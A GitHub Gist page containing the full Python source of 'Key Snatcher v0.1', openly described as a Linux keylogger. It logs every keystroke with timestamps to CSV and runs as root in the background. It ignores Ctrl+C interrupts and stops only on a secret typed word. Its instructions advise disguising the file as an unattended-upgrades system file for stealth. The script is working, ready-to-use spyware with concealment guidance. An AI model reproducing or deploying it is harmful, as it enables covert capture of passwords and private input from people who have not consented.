Created
December 31, 2023 20:52
-
-
Save av1d/5d18bb85e51ca792b6dfe1b37cfe1797 to your computer and use it in GitHub Desktop.
Key Snatcher v0.1 - a Linux keylogger which records all keystrokes and macros
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import csv | |
import keyboard | |
import os | |
import signal | |
import sys | |
from datetime import datetime | |
""" | |
Key Snatcher v0.1 - a Linux keylogger - by av1d | |
Logs all keystrokes in the background, outputs to CSV. | |
Example output (formatted for this file to be legible): | |
time, timestamp, pressed, type, code, keypad, modifiers | |
2023-12-31 15:33:59, 1704054839.910497, t, down, 20, False, () | |
2023-12-31 15:34:00, 1704054840.241036, e, down, 18, False, () | |
2023-12-31 15:34:00, 1704054840.468516, s, down, 31, False, () | |
2023-12-31 15:34:00, 1704054840.641906, t, down, 20, False, () | |
It logs a human-readable timestamp, *nix timestamp, the key pressed, the type, | |
the key code, whether it's on the nueric keypad or not, and finally modifiers. | |
If you don't know, a modifier is for example SHIFT+s to make capital S. | |
It will log CTRL, ALT and so on as modifiers, or individually if they're the only | |
keys pressed. It will also log custom keys / macro keys like on a media keyboard. | |
You can set a 'password' which makes the process exit once it's typed. | |
INSTRUCTIONS: | |
Install 'keyboard' module as root and run this script as root. | |
Run the script then detach from the process: | |
nohup sudo python3 keysnatcher.py & | |
or whatever your root equivalent is. | |
You can exit the terminal and it will run as a background process. | |
Or, simply just run the script in a terminal: | |
python3 keysnatcher.py | |
For even better stealth, rename this to something like 'attended-upgrade-shutdown' | |
with no .py extension and place it in /usr/share/unattended-upgrades/ | |
""" | |
def initialize_csv(): # prepare CSV file | |
header = ['time', 'timestamp', 'pressed', 'type', 'code', 'keypad', 'modifiers'] | |
now = datetime.now() | |
formatted_date_time = now.strftime("%Y%m%d_%H%M%S") | |
global filename | |
filename = str(formatted_date_time) + '.csv' | |
with open(filename, 'w', newline='') as csvfile: | |
csvwriter = csv.writer(csvfile) | |
csvwriter.writerow(header) | |
def append_csv(new_data): | |
with open(filename, 'a', newline='') as csvfile: | |
csvwriter = csv.writer(csvfile) | |
csvwriter.writerows([new_data]) | |
def check_for_password(): | |
secret_length = len(secret) | |
cut_list = last_pressed[-secret_length:] # leave only the last X chars (length of secret) | |
collapse_list = ''.join(cut_list) # collapse to string | |
if collapse_list == secret: | |
kill_process() | |
def kill_process(): | |
keyboard.unhook_all() | |
pid = os.getpid() | |
os.kill(pid, signal.SIGTERM) | |
def handle_signal(signum, frame): | |
print("Received interrupt signal. Resuming...") | |
def on_key_press(event): | |
print(f"The key pressed is: {event.name}") | |
print(f"The key value is: {event.event_type} - {event.scan_code}") | |
print(f"Timestamp: {event.time}") | |
print(f"Is keypad key: {event.is_keypad}") | |
print(f"Modifiers: {event.modifiers}") | |
now = datetime.now() | |
formatted_time = now.strftime("%Y-%m-%d %H:%M:%S") # readable timestamp | |
time_pressed = event.time # unix timestamp | |
key_pressed = event.name # example '[' or 'a' | |
key_type = event.event_type # the name, ex: 'down' | |
key_code = event.scan_code # example '91' | |
is_keypad = event.is_keypad # numpad or not | |
modifiers = event.modifiers # alt, shift, ctrl (and so on) + key | |
new_data = [ | |
str(formatted_time), | |
str(time_pressed), | |
str(key_pressed), | |
str(key_type), | |
str(key_code), | |
str(is_keypad), | |
str(modifiers) | |
] | |
append_csv(new_data) | |
last_pressed.append(str(key_pressed)) | |
check_for_password() # see if user entered stop sequence | |
if not os.geteuid() == 0: | |
print("Must be run as root.") | |
sys.exit(1) | |
secret = 'closesesame' # key sequence to stop recording (case sensitive) | |
last_pressed = [] # remember the last x keys pressed, used with 'secret' | |
initialize_csv() | |
signal.signal(signal.SIGINT, handle_signal) | |
keyboard.on_press(on_key_press) | |
while True: | |
try: | |
keyboard.wait() | |
except: | |
pass | |
keyboard.unhook_all() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment